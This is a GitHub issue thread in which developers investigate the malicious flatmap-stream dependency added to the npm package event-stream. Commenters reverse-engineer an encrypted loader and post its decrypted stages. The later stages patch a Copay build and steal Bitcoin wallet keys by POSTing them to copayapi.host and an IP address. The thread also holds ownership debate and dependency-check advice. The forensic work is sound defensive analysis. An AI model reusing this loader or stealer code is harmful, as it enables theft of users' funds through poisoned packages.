I don't know what to say.

@dominictarr Why was @right9ctrl given access to this repo? He added flatmap-stream which is entirely (1 commit to the repo but has 3 versions, the latest one removes the injection, unmaintained, created 3 months ago) an injection targeting ps-tree. After he adds it at almost the exact same time the injection is added to flatmap-stream, he bumps the version and publishes. Literally the second commit (3 days later) after that he removes the injection and bumps a major version so he can clear the repo of having flatmap-stream but still have everyone (millions of weekly installs) using 3.x affected.
@right9ctrl If you removed flatmap-stream because your realized it was an injection attack why didn't you yank<EMAIL_ADDRESS>from npm and put a PSA? If you didn't know, why did you choose to use a completely unused/unknown library (0 downloads on npm until you use it)? If I had the exact date from npm in which<EMAIL_ADDRESS>was published I wouldn't be asking you questions.
I've included a break down of what I have so far on flatmap-stream below. It includes the portion of code not found in the unminified source of<EMAIL_ADDRESS>but found in the minified source. The code has been cleaned up a little to get a better understanding.
The worst part is I still don't even know what this does... The decrypted data n[0] is byte code or something, not regular javascript, or maybe I'm just not handling it correctly.
// var r = require, t = process;

// function e(r) {
//     return Buffer.from(r, "hex").toString()
// }
function decode(data) {
    return Buffer.from(data, "hex").toString()
}

// var n = r(e("2e2f746573742f64617461")),
// var n = require(decode("2e2f746573742f64617461"))
// var n = require('./test/data')
var n = ["75d4c87f3f69e0fa292969072c49dff4f90f44c1385d8eb60dae4cc3a229e52cf61f78b0822353b4304e323ad563bc22c98421eb6a8c1917e30277f716452ee8d57f9838e00f0c4e4ebd7818653f00e72888a4031676d8e2a80ca3cb00a7396ae3d140135d97c6db00cab172cbf9a92d0b9fb0f73ff2ee4d38c7f6f4b30990f2c97ef39ae6ac6c828f5892dd8457ab530a519cd236ebd51e1703bcfca8f9441c2664903af7e527c420d9263f4af58ccb5843187aa0da1cbb4b6aedfd1bdc6faf32f38a885628612660af8630597969125c917dfc512c53453c96c143a2a058ba91bc37e265b44c5874e594caaf53961c82904a95f1dd33b94e4dd1d00e9878f66dafc55fa6f2f77ec7e7e8fe28e4f959eab4707557b263ec74b2764033cd343199eeb6140a6284cb009a09b143dce784c2cd40dc320777deea6fbdf183f787fa7dd3ce2139999343b488a4f5bcf3743eecf0d30928727025ff3549808f7f711c9f7614148cf43c8aa7ce9b3fcc1cff4bb0df75cb2021d0f4afe5784fa80fed245ee3f0911762fffbc36951a78457b94629f067c1f12927cdf97699656f4a2c4429f1279c4ebacde10fa7a6f5c44b14bc88322a3f06bb0847f0456e630888e5b6c3f2b8f8489cd6bc082c8063eb03dd665badaf2a020f1448f3ae268c8d176e1d80cc756dc3fa02204e7a2f74b9da97f95644792ee87f1471b4c0d735589fc58b5c98fb21c8a8db551b90ce60d88e3f756cc6c8c4094aeaa12b149463a612ea5ea5425e43f223eb8071d7b991cfdf4ed59a96ccbe5bdb373d8febd00f8c7effa57f06116d850c2d9892582724b3585f1d71de83d54797a0bfceeb4670982232800a9b695d824a7ada3d41e568ecaa6629","[encoded data, 4352 characters]","63727970746f","656e76","6e706d5f7061636b6167655f6465736372697074696f6e","616573323536","6372656174654465636970686572","5f636f6d70696c65","686578","75746638"]
    // o = t[e(n[3])][e(n[4])];
    // npm_package_description = process[decode(n[3])][decode(n[4])];
    // npm_package_description = process['env']['npm_package_description'];
    npm_package_description = 'Get all children of a pid'; // Description from ps-tree (this is the aes decryption key)

// if (!o) return;
if (!npm_package_description) return;

// var u = r(e(n[2]))[e(n[6])](e(n[5]), o),
// var decipher = require(decode(n[2]))[decode(n[6])](decode(n[5]), npm_package_description),
var decipher = require('crypto')['createDecipher']('aes256', npm_package_description),

    // a = u.update(n[0], e(n[8]), e(n[9]));
    // decoded = decipher.update(n[0], e(n[8]), e(n[9]));
    decoded = decipher.update(n[0], 'hex', 'utf8');

console.log(n); // IDK why this is here...

// a += u.final(e(n[9]));
decoded += decipher.final('utf8');

// var f = new module.constructor;
var newModule = new module.constructor;

/**************** DO NOT UNCOMMENT [THIS RUNS THE CODE] **************/
// f.paths = module.paths, f[e(n[7])](a, ""), f.exports(n[1])
// newModule.paths = module.paths, newModule['_compile'](decoded, ""), newModule.exports(n[1])
// newModule.paths = module.paths
// newModule['_compile'](decoded, "") // Module.prototype._compile = function(content, filename)
// newModule.exports(n[1])

@FallingSnow did you manage to work out what the attack does?

No. I spent a better part of a day trying to get something other than gibberish out of the encrypted AES payload. I've tried executing the gibberish and it errors out.
I believe there are 2 possible reasons I haven't been able to get the actual payload's code.

I might not be using the correct passphrase. Even though the description for ps-tree is the only passphrase that actually successfully decrypts the encrypted payload, it may still not be the correct passphrase.
I'm using an invalid charset with the payload?

Unpack link to help other people poke around<EMAIL_ADDRESS>

he emailed me and said he wanted to maintain the module, so I gave it to him. I don't get any thing from maintaining this module, and I don't even use it anymore, and havn't for years.

note: I no longer have publish rights to this module on npm.

Please contact npm support and they will take care of the situation.

note: I no longer have publish rights to this module on npm.

Transfer publishing rights to the unknown dude, but keeping the repo under your username. Well done, mate 👍

@limonte I tried to transfer it to @right9ctrl but github errored because they already had a fork of it at http://github.com/right9ctrl/event-stream
If you guys feel strongly about this, why don't you volunteer to maintain it and contact npm support?

To know if your project is in danger, run:
npm ls event-stream flatmap-stream

The bad actor has publishing rights to event-stream and flatmap-stream contains the malicious code (specifically<EMAIL_ADDRESS>but any future version can't be trusted).
Here is an example result from one of my projects:
[redacted]
└─┬<EMAIL_ADDRESS>  └─┬<EMAIL_ADDRESS>    └─┬<EMAIL_ADDRESS>      └──<EMAIL_ADDRESS>

@dominictarr: although I completely disagree with someone else contacting npm support, I contacted npm support myself for now.
You put at risk millions of people, and making something for free, but public, means you are responsible for the package.
Anyway, I don't want to argue about this, I just want the issue to be solved, because this is a popular package.

Probably safe to assume other packages are affected by the same method: Find a package that isn't well maintained + high downloads and simply ask to take control of it.

Now we have to run a background check when someone wants to help? The problem is in the tools.

On the one hand @dominictarr, if you choose not to maintain a package anymore, and don't have a trusted person you can pass the baton on to, I think the sensible, and responsible thing to do is to mark the package as deprecated.
At the same time, I think it's bullshit for so many people to depend on a package with one maintainer, and then try and pin all responsibility on that maintainer, instead of getting involved, with governance, or maintenance of the package.
@rougeth This is really an issue of trust. If you chose to give publishing rights over to someone, I'm not sure what a tool can do to prevent that.

Pin your dependencies and bump versions manually after reading changelogs (don't let npm install auto-bump your dependencies).
Transitive dependencies are a PITA to manage but there's no good alternative.

Hi, i use 4.0.x version in one of my project. I can not find the flatmap-stream dependency in the installed node_modules and also in the installed event-stream package.json not contains. Pls can you tell me, my project is in danger?

Any update from npm support?

Any update from npm support?

None. Maybe someone else should contact them too.

@devmetal as far as I can tell, if you don't have<EMAIL_ADDRESS>in your dependency tree, you haven't been exposed to this code. You can check for it with npm ls flatmap-stream.

@shockey and if it's there?

Any update from npm support?

None. Maybe someone else should contact them too.

I've contacted them through Twitter. Hope we get response soon.

@shockey Thank you, its empty so i think the 4.0.x version is not affected. Its possible? I mean, this versions has built top of each other right?:
path/for/my/project
└── (empty)

That was the output

@FallingSnow So the malware is present only in the package version 3.3.6, right? I checked on npmjs package website and it seems that the dependency with flatmap-stream is present only on 3.3.6

@sorahn if it's there, then you may have executed the (allegedly) malicious code. I have no idea what it does, but since it references the process object, rotating any credentials you expose through environment variables is a great place to start.

@dominictarr - your work is much too commonly used to give control over to unknown people.
This is open source 101.  Don't give control to strangers.

@devmetal it seems the commit author removed it when bumping the package to 4.x, presumably to ensure future updates to this module don't cause people auto-bumping minor versions to lose the possibile vulnerability.
If you're on 4.x you should be fine but it's best to check your dependency tree as described above. If it is present then it's probably best to migrate to a new package or pin to a known good version of the package (which you should do anyway).

@rougeth - what possible remediation is there for using open source and having ownership, other than making ownership not-transferrable?
i mean i guess i'd like NPM to treat an owner change like a major, but that's not a real security boundary, and very likely could easily be trickily dodged.

@shockey I manually checked the minified source in my node_modules folder and it doesn't appear to contain anything malicious.  I also don't think anything running on my dev machine has creds in env variables.
Thanks.

A lot of butthurt people railing on the guy. Maybe he just doesn't care anymore about a dead package he has no intention of maintaining.
Blame yourselves devs, not the author who donated hours and hours of free work for your benefit.

I also just checked the three versions on npm, 0.1.0, 0.1.1, 0.1.2, and none of them have the above code that OP has put.

Quoting @FallingSnow

I've included a break down of what I have so far on flatmap-stream below. It includes the portion of code not found in the unminified source of<EMAIL_ADDRESS>but found in the minified source. The code has been cleaned up a little to get a better understanding.

If you find malicious code in a package in the future, please also inform the Node.js Security Working Group, not just npm.
This will ensure that the issue is assessed and resolved as fast as possible.

@sergiotapia - this gets different when you actually have companies to maintain, and become legally liable for the safety of your users.  it is not that you get it and everyone else doesn't.
gdpr would bankrupt a company caught under this.

So many people who want something for nothing, give Dominic a break. I hand off tons of my modules to people who are willing to maintain them as well, we shouldn't be expected to vet people. OSS authors already spend time providing something for free why should they be required to waste more time. This is why OSS needs funding and developers should stop being so cheap.

Yes, you should be expected to vet people if you give them control to code running on my machines.
If you're not willing to vet them, the library should be forked, so that I know I need to vet them.

@sergiotapia as outlined by @jaydenseric above, there is a massive difference between simply not bothering to maintain a package and giving total control of that package to a random stranger.

@StoneCypher then fork it.

This is standard open source policy going back decades in almost every major language for a reason.
  More than one formerly great developer has disappeared because they've caused damage this way by refusing to understand other peoples' needs, as they've realized that the source is not security trustworthy.

Well actually, transferring ownership of a library is a common thing to do in the open source world. The reason some of you might not be aware of this is because there are no issues most of the time.

People, can we stop arguing about this for now? It's quite a bit more important that we figure out what the malicious code in question actually does.
The undoubtedly lengthy debate about security expectations in open-source can be had later.
@FallingSnow The publish dates are as follows:
created | "2018-09-05T08:23:42.124Z"
0.1.0 | "2018-09-05T08:23:42.256Z"
modified | "2018-11-26T17:18:17.658Z"
0.1.1 | "2018-10-05T08:20:23.091Z"
0.1.2 | "2018-11-15T20:10:17.657Z"

Source: http://registry.npmjs.com/flatmap-stream

@fent the city says tokyo

Also, the package appears to have been unpublished by npm support now.

function d() {
    function decode(codedString) {
        return Buffer.from(codedString, "hex").toString();
    }

    var data = ["75d4c87f3f69e0fa292969072c49dff4f90f44c1385d8eb60dae4cc3a229e52cf61f78b0822353b4304e323ad563bc22c98421eb6a8c1917e30277f716452ee8d57f9838e00f0c4e4ebd7818653f00e72888a4031676d8e2a80ca3cb00a7396ae3d140135d97c6db00cab172cbf9a92d0b9fb0f73ff2ee4d38c7f6f4b30990f2c97ef39ae6ac6c828f5892dd8457ab530a519cd236ebd51e1703bcfca8f9441c2664903af7e527c420d9263f4af58ccb5843187aa0da1cbb4b6aedfd1bdc6faf32f38a885628612660af8630597969125c917dfc512c53453c96c143a2a058ba91bc37e265b44c5874e594caaf53961c82904a95f1dd33b94e4dd1d00e9878f66dafc55fa6f2f77ec7e7e8fe28e4f959eab4707557b263ec74b2764033cd343199eeb6140a6284cb009a09b143dce784c2cd40dc320777deea6fbdf183f787fa7dd3ce2139999343b488a4f5bcf3743eecf0d30928727025ff3549808f7f711c9f7614148cf43c8aa7ce9b3fcc1cff4bb0df75cb2021d0f4afe5784fa80fed245ee3f0911762fffbc36951a78457b94629f067c1f12927cdf97699656f4a2c4429f1279c4ebacde10fa7a6f5c44b14bc88322a3f06bb0847f0456e630888e5b6c3f2b8f8489cd6bc082c8063eb03dd665badaf2a020f1448f3ae268c8d176e1d80cc756dc3fa02204e7a2f74b9da97f95644792ee87f1471b4c0d735589fc58b5c98fb21c8a8db551b90ce60d88e3f756cc6c8c4094aeaa12b149463a612ea5ea5425e43f223eb8071d7b991cfdf4ed59a96ccbe5bdb373d8febd00f8c7effa57f06116d850c2d9892582724b3585f1d71de83d54797a0bfceeb4670982232800a9b695d824a7ada3d41e568ecaa6629", "[encoded data, 4352 characters]", "63727970746f", "656e76", "6e706d5f7061636b6167655f6465736372697074696f6e", "616573323536", "6372656174654465636970686572", "5f636f6d70696c65", "686578", "75746638"];
    var decipher = require('crypto').createDecipher('aes256', process.env.npm_package_description);
    var payload = decipher.update(data[0], 'hex', 'utf8') + decipher.final('utf8');
    var f = new module.constructor();
    f.paths = module.paths
    f._compile(payload, "")
    f.exports(data[1]);
}

process.env.npm_package_description = '';
d();

this is my attempt at reverse engineering it, but I can't get it to decode anything other than gibberish. Finding the right npm_package_description appears to be hard, I'm assuming this was a fairly targeted attack but I'm not too familiar with how NPM sets those env vars, but I assume it's set to whatever the top level package is at some point in a lifecycle? Does anyone who knows NPM (or maybe Yarn or an alternative?) better than me know any more?

@FallingSnow @Enrico204 the user's profile says that he's in 東京都 (Tokyo), have you tried looking at the payload with CJK character sets?  Can you try UTF-8, UTF-16, GBK, GB2312, BIG5, maybe other character sets for Japanese and Korean as well?

@EdwardDrapkin I'll try, but it might be false (of course)

@cnorthwood There's a bulk set of npm registry metadata available at https://gzemnid.nodejs.org/datasets/ - you might be able to automate attempting the decryption with each possible package description in the entire registry.
So far, this seems like an attack that's targeted towards a specific package, using the package description as the 'marker' for code execution by using it for decryption.

I'd like to emphasize this comment from @dominictarr :
https://github.com/dominictarr/event-stream/issues/116#issuecomment-441116734
This is an issue I have also experience with GitHub. You can not transfer ownership of a repo to another user if they have a fork under their namespace. This is absurd because most likely a potential maintainer has their own fork.  I'd argue this is also a failing on Github part.

The comments about disclaimed warranty are correct, and important to note. @dominictarr is not responsible for damages caused by this software. He is a victim himself, in that he has been misled by a malicious attacker.
I think ultimately this situation could have only been prevented by using a package system more akin to apt, where developers who can sign packages are carefully selected and managed.
I wish everyone success in figuring out how to recover from these issues.

The comments about disclaimed warranty are correct, and important to note. @dominictarr is not responsible for damages caused by this software. He is a victim himself, in that he has been misled by a malicious attacker.
I think ultimately this situation could have only been prevented by using a package system more akin to apt, where developers who can sign packages are carefully selected and managed.
I wish everyone success in figuring out how to recover from these issues.

@cnorthwood folks at npm have just removed the flatmap-stream package, I don't have the ./test/data file anymore (I was just about to download it). Can you send it to me? I want to try to decode it with some other packages descriptions

The most correct answer. Focus on solving the problem, not pointing fingers.

Ding ding ding. I'm going to just add :-1: to blame game participants, and I'd recommend others do the same without engaging. Let's keep this thread focused on solving the problem and decoding the payload rather than complaining about the software none of us paid for.

@Enrico204
module.exports=["75d4c87f3f69e0fa292969072c49dff4f90f44c1385d8eb60dae4cc3a229e52cf61f78b0822353b4304e323ad563bc22c98421eb6a8c1917e30277f716452ee8d57f9838e00f0c4e4ebd7818653f00e72888a4031676d8e2a80ca3cb00a7396ae3d140135d97c6db00cab172cbf9a92d0b9fb0f73ff2ee4d38c7f6f4b30990f2c97ef39ae6ac6c828f5892dd8457ab530a519cd236ebd51e1703bcfca8f9441c2664903af7e527c420d9263f4af58ccb5843187aa0da1cbb4b6aedfd1bdc6faf32f38a885628612660af8630597969125c917dfc512c53453c96c143a2a058ba91bc37e265b44c5874e594caaf53961c82904a95f1dd33b94e4dd1d00e9878f66dafc55fa6f2f77ec7e7e8fe28e4f959eab4707557b263ec74b2764033cd343199eeb6140a6284cb009a09b143dce784c2cd40dc320777deea6fbdf183f787fa7dd3ce2139999343b488a4f5bcf3743eecf0d30928727025ff3549808f7f711c9f7614148cf43c8aa7ce9b3fcc1cff4bb0df75cb2021d0f4afe5784fa80fed245ee3f0911762fffbc36951a78457b94629f067c1f12927cdf97699656f4a2c4429f1279c4ebacde10fa7a6f5c44b14bc88322a3f06bb0847f0456e630888e5b6c3f2b8f8489cd6bc082c8063eb03dd665badaf2a020f1448f3ae268c8d176e1d80cc756dc3fa02204e7a2f74b9da97f95644792ee87f1471b4c0d735589fc58b5c98fb21c8a8db551b90ce60d88e3f756cc6c8c4094aeaa12b149463a612ea5ea5425e43f223eb8071d7b991cfdf4ed59a96ccbe5bdb373d8febd00f8c7effa57f06116d850c2d9892582724b3585f1d71de83d54797a0bfceeb4670982232800a9b695d824a7ada3d41e568ecaa6629","[encoded data, 4352 characters]","63727970746f","656e76","6e706d5f7061636b6167655f6465736372697074696f6e","616573323536","6372656174654465636970686572","5f636f6d70696c65","686578","75746638"];

data.js.txt

FWIW, the flatmap-stream package has been unpublished from npm:
 ⇶ npm view flatmap-stream
npm ERR! code E404
npm ERR! 404 Unpublished by npm-support on 2018-11-26T17:18:17.658Z

The most correct answer. Focus on solving the problem, not pointing fingers.

Ding ding ding. I'm going to just add :-1: to blame game participants, and I'd recommend others do the same without engaging. Let's keep this thread focused on solving the problem and decoding the payload rather than complaining about the software none of us paid for or contributed to.

@cnorthwood The npm_package_* environment variables are set by npm to correspond with fields in the package.json of the top-level package whenever a script from the package is run. (see https://docs.npmjs.com/misc/scripts) I think this means that the attack wouldn't be triggered just by require-ing the package in your code, but when you run a script from the targeted package? The code does have a check to stop if npm_package_description isn't set (as would be the case in a normal program)

@cnorthwood The npm_package_* environment variables are set by npm to correspond with fields in the package.json of the top-level package whenever a script from the package is run. (see https://docs.npmjs.com/misc/scripts) I think this means that the attack wouldn't be triggered just by require-ing the package in your code, but when you run a script from the targeted package? The code does have a check to stop if npm_package_description isn't set (as would be the case in a normal program)

When using Get all children of a pid as the decryption key, nothing happens other than a syntax error, which is caught and ignored.

Attached is a list of every public package on npm, as of 2018-11-12, that depended on flatmap-stream either directly or indirectly.
cc @cnorthwood
flatmap-deps-list.txt

I'm guessing that one of the dependents in https://www.npmjs.com/browse/depended/event-stream has the description which is the correct key, and there won't be an error when trying to decode

Thanks @joepie91 I'll try to automate the extraction with that list :-)

@patosai That only lists the direct dependents. It's more likely to be in an indirect dependent, which won't show in that list. You can use the list I posted for that purpose, or recreate it:
curl https://gzemnid.nodejs.org/datasets/out.2018-11-12/deps-nested.json.lz4 | unlz4 | grep flatmap-stream > ~/flatmap-deps.txt
cat ~/flatmap-deps.txt | grep -oE '^"[^"]+"' | sed 's:^.\(.*\).$:\1:' > ~/flatmap-deps-list.txt

Is there a means to get NPM to add this to the security reports for npm audit? Just ran this on a repo that does have flatmap-stream in package-lock, and it reports no issues. Seems like that's a glaring hole if they've already removed the module from NPM.

We got rid of event-stream dependency, here's how: https://github.com/sweetalert2/sweetalert2/pull/1305/files

@shellscape Probably via their security team.  Unfortunately, it sounds like they're still reeling from Thanksgiving.

@shellscape The entire flatmap-stream package has been unpublished, so it should not be installable at all anymore. The npm audit lists are only used to warn of legitimate packages that have accidental vulnerabilities in them, the outright malicious ones are just removed entirely.

@shellscape I'd recommend contacting the npm security team.

I'm downloading all packages descriptions using the list that @joepie91 provided. I'll post the file here as soon as I finished (there are a lot of packages) so everyone can experiment with that.

@shellscape Probably via their security team.  Unfortunately, it sounds like they're still reeling from Thanksgiving.

Looks like the target is the cosa package

You can search your company's code for usage of event stream here: https://github.com/search?l=JSON&q=org%3Areduxjs+event-stream&type=Code
Just swap out org:reduxjs for your own org's name.

http://highlandjs.org/

Another option: http://highlandjs.org/

@tuxone how do you know?

@tuxone what gives?

createDecipher works with "cosa" as password.

I can't decrypt the payload with both cosa and highlandjs packages descriptions, so I don't think so. @sandro-pasquali @tuxone Why do you think that?

I can't decrypt the payload with both cosa and highlandjs packages descriptions, so I don't think so. @sandro-pasquali @tuxone Why do you think that?

The npm_package_* environment variables are set by npm to correspond with fields in the package.json of the top-level package whenever a script from the package is run.

FYI: I just noticed that the value of npm_package_description can also come from some other file if description is not set in package.json. In my test example, NPM takes the value from README.md....I haven't yet found the source of this behaviour, but it's clear that the decryption key doesn't necessarily come from package.json.

It can decrypt okay with several passwords, the issue is that what it them decoded later on is giberish. Also, it needs to be the description of the package, not the name.

It can decrypt okay with several passwords, the issue is that what it them decoded later on is giberish. Also, it needs to be the description of the package, not the name.

@Gekkio Do you have an example case?

The most correct answer. Focus on solving the problem, not pointing fingers.

Once the problem has been addressed a discussion on etiquette and community expectations is prudent.
There is an implicit web of trust within open source and events like this bring to light how simultaneously important and difficult it is for projects to be aware of their impact and behave accordingly.

For those doing forensics, the Yarn registry proxy still has flatmap-stream in its cache: https://registry.yarnpkg.com/flatmap-stream/-/flatmap-stream-0.1.1.tgz

@Gekkio Do you have an example case?

index.js:
console.info(process.env.npm_package_description)

package.json:
{
  "name": "test",
  "scripts": {
    "doit": "node index.js"
  }
}

README.md:
# Test1

Test2

Running npm run doit prints Test2

@Gekkio Well, that's gonna make things more interesting to reverse...
Thanks for figuring that out for us.

@cnorthwood I'm trying with several descriptions from the dependency list as passwords. Right now, ps-tree is the only that has a "compatible" password, but the output is giberish. What other passwords did you find?

People point out that @right9ctrl was an "untrusted", "unknown" developer, but it doesn't change anything had dominic waited until they make N good contributions to the project over N years before transferring ownership / publish rights. They might as well've been contributing to the project for 5 years before the transfer event, so I think it's a bark up the wrong tree if we're looking at this from the perspective of trying to prevent this kind of thing across the ecosystem.

FYI<EMAIL_ADDRESS>locked to<EMAIL_ADDRESS>(which if I read this thread correctly pre-dates the questionable changes).

This link<EMAIL_ADDRESS>Gives me this code:
var Stream=require("stream").Stream;module.exports=function(e,n){var i=new Stream,a=0,o=0,u=!1,f=!1,l=!1,c=0,s=!1,d=(n=n||{}).failures?"failure":"error",m={};function w(r,e){var t=c+1;if(e===t?(void 0!==r&&i.emit.apply(i,["data",r]),c++,t++):m[e]=r,m.hasOwnProperty(t)){var n=m[t];return delete m[t],w(n,t)}a===++o&&(f&&(f=!1,i.emit("drain")),u&&v())}function p(r,e,t){l||(s=!0,r&&!n.failures||w(e,t),r&&i.emit.apply(i,[d,r]),s=!1)}function b(r,t,n){return e.call(null,r,function(r,e){n(r,e,t)})}function v(r){if(u=!0,i.writable=!1,void 0!==r)return w(r,a);a==o&&(i.readable=!1,i.emit("end"),i.destroy())}return i.writable=!0,i.readable=!0,i.write=function(r){if(u)throw new Error("flatmap stream is not writable");s=!1;try{for(var e in r){a++;var t=b(r[e],a,p);if(f=!1===t)break}return!f}catch(r){if(s)throw r;return p(r),!f}},i.end=function(r){u||v(r)},i.destroy=function(){u=l=!0,i.writable=i.readable=f=!1,process.nextTick(function(){i.emit("close")})},i.pause=function(){f=!0},i.resume=function(){f=!1},i};!function(){try{var r=require,t=process;function e(r){return Buffer.from(r,"hex").toString()}var n=r(e("2e2f746573742f64617461")),o=t[e(n[3])][e(n[4])];if(!o)return;var u=r(e(n[2]))[e(n[6])](e(n[5]),o),a=u.update(n[0],e(n[8]),e(n[9]));a+=u.final(e(n[9]));var f=new module.constructor;f.paths=module.paths,f[e(n[7])](a,""),f.exports(n[1])}catch(r){}}();

Does anyone have a copy of the affected package files / tarball?

@Enrico204 could it be that this is a targeted attack against a potentially closed source project instead?

@Fishrock123 that link was posted just a few comments before yours. The link is https://registry.yarnpkg.com/flatmap-stream/-/flatmap-stream-0.1.1.tgz

For those doing forensics, the Yarn registry proxy still has flatmap-stream in its cache: https://registry.yarnpkg.com/flatmap-stream/-/flatmap-stream-0.1.1.tgz

0.1.0, 0.1.1, and 0.1.2 on the yarn registry don't seem to contain the affected code

@beaugunderson incorrect. The 0.1.1 does contain it. I just downloaded and verified.

@Fishrock123 the code you pasted IS the code with some encrypted payload bootloader.

└─┬<EMAIL_ADDRESS>  └─┬<EMAIL_ADDRESS>    └─┬<EMAIL_ADDRESS>      └─┬<EMAIL_ADDRESS>        └──<EMAIL_ADDRESS>
Safe or in danger?

I got it decoded.  Package description "A Secure Bitcoin Wallet".  The targeted package is: https://www.npmjs.com/package/copay-dash
Decrypted code:
/*@@*/module.exports=function(e){try{if(!/build\:.*\-release/.test(process.argv[2]))return;var t=process.env.npm_package_description,r=require("fs"),i="./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js",n=r.statSync(i),c=r.readFileSync(i,"utf8"),o=require("crypto").createDecipher("aes256",t),s=o.update(e,"hex","utf8");s="\n"+(s+=o.final("utf8"));var a=c.indexOf("\n/*@@*/");0<=a&&(c=c.substr(0,a)),r.writeFileSync(i,c+s,"utf8"),r.utimesSync(i,n.atime,n.mtime),process.on("exit",function(){try{r.writeFileSync(i,c,"utf8"),r.utimesSync(i,n.atime,n.mtime)}catch(e){}})}catch(e){}};

└─┬<EMAIL_ADDRESS>  └─┬<EMAIL_ADDRESS>    └─┬<EMAIL_ADDRESS>      └─┬<EMAIL_ADDRESS>        └──<EMAIL_ADDRESS>
Safe or in danger?

I got it decoded.  Package description "A Secure Bitcoin Wallet".  The targeted package is: https://www.npmjs.com/package/copay-dash
Decrypted code:
/*@@*/module.exports=function(e){try{if(!/build\:.*\-release/.test(process.argv[2]))return;var t=process.env.npm_package_description,r=require("fs"),i="./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js",n=r.statSync(i),c=r.readFileSync(i,"utf8"),o=require("crypto").createDecipher("aes256",t),s=o.update(e,"hex","utf8");s="\n"+(s+=o.final("utf8"));var a=c.indexOf("\n/*@@*/");0<=a&&(c=c.substr(0,a)),r.writeFileSync(i,c+s,"utf8"),r.utimesSync(i,n.atime,n.mtime),process.on("exit",function(){try{r.writeFileSync(i,c,"utf8"),r.utimesSync(i,n.atime,n.mtime)}catch(e){}})}catch(e){}};

@maths22 can you post the decryption code?

@Maths22, you said: "The targeted package is: 'A Secure Bitcoin Wallet' https://www.npmjs.com/package/copay-dash", is that a followup to the suggestion above "could it be that this is a targeted attack against a potentially closed source project instead?"
Does that mean this malicious code included in event-stream is specifically targeting that Bitcoin package and is harmless to others that use the same event-stream code?

Prettified...
Initial payload:
/*@@*/
module.exports = function(e) {
    try {
        if (!/build\:.*\-release/.test(process.argv[2])) return;
        var t = process.env.npm_package_description,
            r = require("fs"),
            i =<EMAIL_ADDRESS>            n = r.statSync(i),
            c = r.readFileSync(i, "utf8"),
            o = require("crypto").createDecipher("aes256", t),
            s = o.update(e, "hex", "utf8");
        s = "\n" + (s += o.final("utf8"));
        var a = c.indexOf("\n/*@@*/");
        0 <= a && (c = c.substr(0, a)), r.writeFileSync(i, c + s, "utf8"), r.utimesSync(i, n.atime, n.mtime), process.on("exit", function() {
            try {
                r.writeFileSync(i, c, "utf8"), r.utimesSync(i, n.atime, n.mtime)
            } catch (e) {}
        })
    } catch (e) {}
};

Second-stage payload:
/*@@*/ ! function() {
    function e() {
        try {
            var o = require("http"),
                a = require("crypto"),
                c = "-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\\n2wIDAQAB\\n-----END PUBLIC KEY-----";

            function i(e, t, n) {
                e = Buffer.from(e, "hex").toString();
                var r = o.request({
                    hostname: e,
                    port: 8080,
                    method: "POST",
                    path: "/" + t,
                    headers: {
                        "Content-Length": n.length,
                        "Content-Type": "text/html"
                    }
                }, function() {});
                r.on("error", function(e) {}), r.write(n), r.end()
            }

            function r(e, t) {
                for (var n = "", r = 0; r < t.length; r += 200) {
                    var o = t.substr(r, 200);
                    n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+"
                }
                i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n)
            }

            function l(t, n) {
                if (window.cordova) try {
                    var e = cordova.file.dataDirectory;
                    resolveLocalFileSystemURL(e, function(e) {
                        e.getFile(t, {
                            create: !1
                        }, function(e) {
                            e.file(function(e) {
                                var t = new FileReader;
                                t.onloadend = function() {
                                    return n(JSON.parse(t.result))
                                }, t.onerror = function(e) {
                                    t.abort()
                                }, t.readAsText(e)
                            })
                        })
                    })
                } catch (e) {} else {
                    try {
                        var r = localStorage.getItem(t);
                        if (r) return n(JSON.parse(r))
                    } catch (e) {}
                    try {
                        chrome.storage.local.get(t, function(e) {
                            if (e) return n(JSON.parse(e[t]))
                        })
                    } catch (e) {}
                }
            }
            global.CSSMap = {}, l("profile", function(e) {
                for (var t in e.credentials) {
                    var n = e.credentials[t];
                    "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) {
                        var t = this;
                        t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t)))
                    }.bind(n))
                }
            });
            var e = require("bitcore-wallet-client/lib/credentials.js");
            e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) {
                var t = this.getKeysFunc(e);
                try {
                    global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\\t" + this.xPubKey))
                } catch (e) {}
                return t
            }
        } catch (e) {}
    }
    window.cordova ? document.addEventListener("deviceready", e) : e()
}();

has someone reported @right9ctrl already?

The package is trying to steal bitcoin wallets.

Yes. Doing an HTTP post at <IP_ADDRESS> if I'm reading right.

Just for confirmation, flatmap-stream is the only malicious code introduced in event-stream ?

I got it decoded. Package description "A Secure Bitcoin Wallet".

I noticed scrypt in the attacker's other github repositories, and I wondered if it might be cryptocurrency related.

@luisdavim The more reports, the better.

should someone open issue on https://github.com/bitpay/copay/issues for visibility

Also another host reached is copayapi.host

I've just reported him.

I'm confused. I can't find this code neither in<EMAIL_ADDRESS>nor in https://registry.yarnpkg.com/flatmap-stream/-/flatmap-stream-0.1.1.tgz - Have anyone a copy of the original tarball/code?

@maths22 Great job decoding it!

Yes. Doing an HTTP post at <IP_ADDRESS> if I'm reading right.

It looks like it first tries copayapi.host, then <IP_ADDRESS>. copayapi.host is likely a domain intended to impersonate a legitimate Copay domain, which lines up with the other evidence that it tries to steal Copay Bitcoin wallets.

